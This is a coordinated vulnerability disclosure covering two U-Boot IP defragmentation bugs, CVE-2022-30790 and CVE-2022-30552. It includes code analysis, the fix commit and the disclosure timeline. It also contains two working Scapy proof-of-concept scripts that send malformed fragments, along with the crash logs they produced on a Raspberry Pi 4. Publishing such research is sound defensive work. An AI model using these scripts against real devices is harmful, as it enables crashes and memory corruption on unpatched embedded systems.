By Nicolas Bidron, and Nicolas Guigo.
[Editor’s note: This is an updated/expanded version of these advisories which we originally published on June 3 2022.]
U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems such as ChromeOS and Android Devices.
Two vulnerabilities were uncovered in the IP Defragmentation algorithm implemented in U-Boot, with links to the associated technical advisories below:
Exploitation proof of concepts and results are provided in each technical advisories below.
Project | U-Boot |
Project URL | https://source.denx.de/u-boot/u-boot |
Versions affected | all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552 |
Systems affected | All systems defining CONFIG_IP_DEFRAG |
CVE identifier | CVE-2022-30790 |
Advisory URL | link |
Risk | Critical 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
Authors | Nicolas Guigo, Nicolas Bidron |
U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.
In u-boot/net/net.c
the __net_defragment
function line 900 through 1018.
The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a Hole Descriptor overwrite attack which ultimately leads to an arbitrary write primitve.
In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len
(IP packet header’s total Length) higher than IP_HDR_SIZE
and strictly lower than IP_HDR_SIZE+8
leads to a value for len
comprised between 0
and 7
. This ultimately results in a truncated division by 8
resulting in a value of 0
, forcing the hole metadata and fragment to point to the same location. The subsequent memcpy then overwrites the hole metadata with the fragment data. Through a second fragment, this attacker-controlled metadata can be exploited to perform a controlled write to an arbitrary offset.
This bug is only exploitable from the local network as it requires crafting a malformed packet which would most likely be dropped during routing. However, this it can be effectively leveraged to root linux based embedded devices locally.
static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
static u16 first_hole, total_len;
struct hole *payload, *thisfrag, *h, *newh;
struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
uchar *indata = (uchar *)ip;
int offset8, start, len, done = 0;
u16 ip_off = ntohs(ip->ip_off);
/* payload starts after IP header, this fragment is in there */
payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
offset8 = (ip_off & IP_OFFS);
thisfrag = payload + offset8;
start = offset8 * 8;
len = ntohs(ip->ip_len) - IP_HDR_SIZE;
The last line of the previous excerpt from u-boot/net/net.c
shows how the attacker can control the value of len
to be strictly lower than 8
by issuing a packet with ip_len
between 21
and 27
(IP_HDR_SIZE
has a value of 20
).
Also note that offset8
here is 0
which leads to thisfrag = payload
.
} else if (h >= thisfrag) {
/* overlaps with initial part of the hole: move this hole */
newh = thisfrag + (len / 8);
*newh = *h;
h = newh;
if (h->next_hole)
payload[h->next_hole].prev_hole = (h - payload);
if (h->prev_hole)
payload[h->prev_hole].next_hole = (h - payload);
else
first_hole = (h - payload);
} else {
Later in the same function, execution reaches the above code path. Here, len / 8
evaluates to 0
leading to newh = thisfrag
. Also note that first_hole
here is 0
since h
and payload
point to the same location.
/* finally copy this fragment and possibly return whole packet */
memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);
In the above excerpt the call to memcpy()
overwrites the hole metadata (since thisfrag
and h
both point to the same location) with arbitrary data from the fragmented IP packet data. With a len
value of 6
, last_byte
, next_hole
, and prev_hole
of the first_hole
all end- up attacker-controlled.
Finally the arbitrary write is triggered by sending a second fragment packet, whose offset and length only need to fit within the hole pointed to by the previously controlled metadata (next_hole
) set from the first packet.
This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.
Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG
enabled. The device was set to attempt loading kernel through U-Boot’s dhcp
method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).
The following Python script was used to send the first malicious packet that will overwrite the initial __net_defragment()
hole metadata with contents from a own specially crafted hole structure. The second packet effectively executed the memory overwrite at the offset set up by the first packet’s next_hole
, which led to a crash but the payload can be adjusted to achieve controlled memory writes against the target.
import ctypes
from sys import argv
from scapy.all import *
# struct endianness based on arch
class hole(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [('last_byte', ctypes.c_ushort),
('next_hole', ctypes.c_ushort),
('prev_hole', ctypes.c_ushort),
('unused', ctypes.c_ushort)]
def __init__(self, lb, nh, ph):
return super().__init__(lb, nh, ph, 0xFEFE)
# U-Boot IP Fragment Hole Overwrite
def frag_hole_overwrite():
# Prepare the malicious hole
hh = hole(0x10, 0x07FD, 0xFFFF)
payload = bytes(hh) + bytes(0x20)
packet1 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=27)/Raw(payload)
packet1.show2()
sendp(packet1, iface='virbr0')
# Trigger the unsafe write in the overlap case
payload = bytes(0x10)
packet2 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0)/Raw(payload)
packet2.show2()
sendp(packet2, iface='eth0') iface=virbr0 if launched against a qemu instance
if __name__ == '__main__':
global mac, ip
mac = argv[1]
ip = argv[2]
frag_hole_overwrite()
The above script can be launched with the following command:
> ./fragger_poc.py dc:a6:32:ef:5f:0a 192.168.0.90
This will result in the following (log as shown on U-Boot’s console):
U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)
DRAM: 7.1 GiB
RPI 4 Model B (0xd03114)
Core: 202 devices, 13 uclasses, devicetree: board
MMC: [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1...
In: serial
Out: vidconsole
Err: vidconsole
Net: eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
USB XHCI 1.00
scanning bus xhci_pci for devices... 2 USB Device(s) found
scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
[email protected] Waiting for PHY auto negotiation to complete. done
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (23 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x8a000000
elr: fffffffff8165fff lr : 00000000000e43a8 (reloc)
elr: 000000000000ffff lr : 0000000007f8e3a8
x0 : 0000000007b9b942 x1 : 000000000000007a
x2 : 0000000000000040 x3 : 000000000000ffff
x4 : 00000000000001ad x5 : 0000000007b2f000
x6 : 0000000000000024 x7 : 0000000000000000
x8 : 000000000000000b x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000000000006
x12: 000000000001869f x13: 0000000007b168cc
x14: 0000000007b18b00 x15: 0000000000000002
x16: 000000000000ffff x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 000000000000007a
x20: 0000000007b2f130 x21: 0000000000000020
x22: 0000000007fcf000 x23: 0000000007fc9000
x24: 0000000007fcb000 x25: 0000000007fc9000
x26: 0000000007fc9628 x27: 0000000007fcf000
x28: 0000000007fcf000 x29: 0000000007b16b40
Code: 4bcbc7cb 46890822 c96a480a b2353b57 (3e972802)
Resetting CPU ...
resetting ...
Project | U-Boot |
Project URL | https://source.denx.de/u-boot/u-boot |
Versions affected | all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552 |
Systems affected | All systems defining CONFIG_IP_DEFRAG |
CVE identifier | CVE-2022-30552 |
Advisory URL | link |
Risk | High 7.1 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H) |
Authors | Nicolas Guigo, Nicolas Bidron |
U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.
u-boot/net/net.c
lines 915 and 1011.
The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a buffer overflow through a specially crafted fragmented IP Datagram with an invalid total length which causes a denial of service.
In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len
(IP packet header’s total length) lower than IP_HDR_SIZE
leads to len
taking a negative value, which ultimately results in a buffer overflow during the subsequent call to memcpy()
that uses len
as its count
parameter.
This bug is only exploitable from the local network as it requires crafting a malformed packet with an ip_len
value lower than the minimum accepted total length (21 as defined in the IP specification document: RFC791) which would most likely be dropped during routing.
static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
static u16 first_hole, total_len;
struct hole *payload, *thisfrag, *h, *newh;
struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
uchar *indata = (uchar *)ip;
int offset8, start, len, done = 0;
u16 ip_off = ntohs(ip->ip_off);
/* payload starts after IP header, this fragment is in there */
payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
offset8 = (ip_off & IP_OFFS);
thisfrag = payload + offset8;
start = offset8 * 8;
len = ntohs(ip->ip_len) - IP_HDR_SIZE;
The last line of the previous excerpt from u-boot/net/net.c
shows where the underflow to a negative len
value occurs if ip_len
is set to a value strictly lower than 20 (IP_HDR_SIZE
being 20). Also note that in the above excerpt the pkt_buff
buffer has a size of CONFIG_NET_MAXDEFRAG
which defaults to 16 KB but can range from 1KB to 64 KB depending on configurations.
/* finally copy this fragment and possibly return whole packet */
memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);
In the above excerpt the memcpy()
overflows the destination by attempting to make a copy of nearly 4 gigabytes in a buffer that’s designed to hold CONFIG_NET_MAXDEFRAG
bytes at most, which leads to a DoS.
This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.
Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG
enabled. The device was set to attempt loading kernel through U-Boot’s dhcp
method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).
The following Python script is used to send the single malicious packet that will underflow len
, ultimately overflowing the buffer (thisfrag
) and crashing the device.
import ctypes
from sys import argv
from scapy.all import *
# U-Boot Fragment Underflow
def frag_underflow():
packet = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=19)/UDP()
packet.show2()
sendp(packet, iface='eth0') # iface=virbr0 if launched against a qemu instance
if __name__ == '__main__':
global mac, ip
mac = argv[1]
ip = argv[2]
frag_underflow()
The above script can be launched with the following command:
> ./fragger_poc.py dc:a6:32:ef:5f:0a 192.168.0.90
This will result in the following (log as shown on U-Boot’s console):
U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)
DRAM: 7.1 GiB
RPI 4 Model B (0xd03114)
Core: 202 devices, 13 uclasses, devicetree: board
MMC: [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1...
In: serial
Out: vidconsole
Err: vidconsole
Net: eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
USB XHCI 1.00
scanning bus xhci_pci for devices... 2 USB Device(s) found
scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (18 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T T T
Retry count exceeded; starting again
SCRIPT FAILED: continuing...
libfdt fdt_check_header(): FDT_ERR_BADMAGIC
MMC Device 2 not found
no mmc device at slot 2
Device 0: unknown device
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (21 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x96000046
elr: 00000000000e06e8 lr : 00000000000e5174 (reloc)
elr: 0000000007f8a6e8 lr : 0000000007f8f174
x0 : 0000000007fcb51c x1 : 0000000007b75964
x2 : ffffffffffffffff x3 : 0000000000234ae4
x4 : 0000000007fcb51c x5 : 0000000000000000
x6 : 0000000000000000 x7 : 00000000ffffffff
x8 : 0000000000000000 x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000007fcb514
x12: 000000000001869f x13: 0000000007b17d4c
x14: 0000000007b18b00 x15: 0000000000000002
x16: 0000000007f5cc84 x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 0000000007b75942
x20: 0000000007fcb500 x21: 0000000007fa0fd0
x22: 0000000007f98156 x23: 00000000ffffffff
x24: 0000000007fc9000 x25: 0000000000000000
x26: 0000000007fcb514 x27: 0000000007fcb51c
x28: 0000000007b75950 x29: 0000000007b17f30
Code: cb030004 cb030021 17fffff0 38636825 (38236885)
Resetting CPU ...
resetting ...
May 18th 2022: Initial e-mail from NCC to U-boot maintainers announcing two vulnerabilities were identified. U-Boot maintainers responded indicating that the disclosure process is to be handled publicly through U-Boot’s mailing list.
May 18th 2022: NCC posted a full writeup of the two vulnerabilities identified to U-Boot’s public mailing list.
May 25th 2022: a U-Boot maintainer indicated on the mailing list that they will implement a fix to the two findings.
May 26th 2022: a patch has been proposed by U-Boot maintainers to fix both CVEs through the mailing list.
May 31st 2022: U-boot maintainers and NCC Group agree to publishing the advisories in advance of patch deployment, given the public mailing-list-based discussion of the vulnerability and proposed fixes.
June 3rd 2022: Fix is commited to U-Boot master branch https://source.denx.de/u-boot/u-boot/-/commit/b85d130ea0cac152c21ec38ac9417b31d41b5552
Jennifer Fernick, and Dave Goldsmith for their support through the disclosure process.
U-Boot’s maintainers.
Nicolas Guigo, and Nicolas Bidron